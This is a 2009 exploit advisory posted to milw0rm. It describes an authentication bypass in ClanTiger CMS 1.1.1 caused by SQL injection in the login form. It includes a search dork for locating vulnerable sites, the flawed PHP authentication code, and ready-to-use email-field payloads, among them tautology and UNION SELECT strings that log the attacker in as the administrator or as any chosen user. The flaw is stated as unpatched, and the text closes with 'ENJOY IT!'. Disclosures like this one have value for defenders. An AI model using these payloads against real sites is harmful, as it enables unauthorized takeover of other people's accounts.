*********************************************************************************************** *********************************************************************************************** ** ** ** ** ** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] ** ** || || || [] [][] [] [] [] [] [] [] [] [] [] [] ** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] ** ** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ **==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>-- ** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ [> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] ** ** ** ** ** ** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O ** ** ¡PROUD TO BE SPANISH! ** ** ** *********************************************************************************************** *********************************************************************************************** ---------------------------------------------------------------------------------------------- | AUTH BYPASS LOGIN FORM (SQL INJECTION) | |--------------------------------------------------------------------------------------------| | | CLAN TIGER CMS | | | CMS INFORMATION: ---------------- | | | |-->WEB: http://www.clantiger.com | |-->DOWNLOAD: http://www.clantiger.com/download-clan-cms | |-->DEMO: http://www.demo.clantiger.com/ | |-->CATEGORY: CMS / Portals | |-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming | | clans... | | | | CMS VULNERABILITY: | | | |-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default) | |-->DORK: "Powered by ClanTiger" | |-->CATEGORY: SQL INJECTION/ AUTH BYPASS | |-->AFFECT VERSION: LAST = 1.1.1 (1.1 too) | |-->Discovered Bug date: 2009-04-11 | |-->Reported Bug date: 2009-04-11 | |-->Fixed bug date: Not fixed | |-->Info patch (????): Not fixed | |-->Author: YEnH4ckEr | |-->mail: y3nh4ck3r[at]gmail[dot]com | |-->WEB/BLOG: N/A | |-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo. | ---------------------------------------------------------------------------------------------- ----------- BUG FILE: ----------- Path --> [HOME_PATH]/module/login.php It contents: function authenticate() { $authentication = $this->access->authenticate($_POST['email'],$_POST['password'],(bool) $_POST['stayLogged']); if($authentication === true) { header('Location: index.php?info=hasLoggedIn'); exit; } // we couldn't log in $this->errorMessages[] = $authentication; $this->main(); } Path --> [HOME_PATH]/function/class.accesscontrol.php It contents: public function authenticate($email,$password,$stayAuthed=false) { if($stayAuthed) $logintime = time() + (3600*24*356*3); else $logintime = time() + 3600; // attempt to get the user from the database include ROOTPATH . 'base/class.user.php'; $user = new User; $user->email = $email; $user->password = md5($password); $user->getBy(array('email','password')); ... } ------------ CONDITIONS: ------------ **gpc_magic_quotes=off ---------------------------------- PROOF OF CONCEPT (SQL INJECTION): ---------------------------------- [HOME_PATH]/index.php?module=login login form: e-mail value: something' [SQL] password value: something //it is not used --------- EXAMPLE: --------- login post form: e-mail value: something' or 1=1 /* --> we are admin! e-mail value: something' or 1 # --> we are admin! Note: Now, we need DB_PREFIX (default: "", others: db_, clan_, etc) e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=1 /*-->admin (if id=1)! e-mail value: something' AND 0 UNION ALL SELECT * FROM members WHERE id=12 /* -->we are user id=12! ******************************************************************* ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ******************************************************************* ------------------------------------------------------------------- ******************************************************************* GREETZ TO: JosS and all spanish Hack3Rs community! ******************************************************************* -------------------EOF---------------------------------->>>ENJOY IT! # milw0rm.com [2009-04-17]